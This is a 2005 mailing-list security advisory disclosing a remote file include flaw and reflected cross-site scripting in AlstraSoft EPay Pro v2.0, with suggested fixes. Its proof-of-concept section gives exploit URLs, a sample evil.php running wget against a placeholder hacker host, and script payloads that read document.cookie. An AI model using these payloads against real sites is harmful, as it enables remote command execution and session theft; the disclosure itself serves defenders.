AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities

dcrab <dcrab@xxxxxxxxxxxxxxxxx> · 2 Apr 2005 03:17:16 -0000

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Severity: High
Title: AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities
Date: 02/04/2005

Vendor: AlstraSoft
Vendor Website: http://www.alstrasoft.com
Summary: Alstrasoft epay pro v2. has file include and multiple xss vulnerabilities.

Proof of Concept Exploits: 

http://localhost/epal/index.php?view=http://www.whatismyip.com?
File include vulnerability

Instead of www.whatismyip.com if we replaced that with suppose evil.php on www.server.com which contained evil code such as
<?
system('wget http://www.hacker.com";);
?>
and we ran, http://localhost/epal/index.php?view=http://www.server.com/evil it would execute the command and thus this can lead to arbitary command execution.

http://localhost/epal/?order_num=crap&payment=";>&lt;script&gt;alert(document.cookie)&lt;/script&gt;&send=first&send=regular&send=priority&send=express
Pops cookie

http://localhost/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

Possible Fixes: The usage of htmlspeacialchars(), and using a base directory for file include would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.

Diabolic Crab's Security Services: Contact at dcrab[NOSPAM|AT]hackerscenter[NOSPAM|DOT]COM for Php auditing and web application securing services, along with programming in php, vb, asp, c, c++, perl, java, html and graphic designing.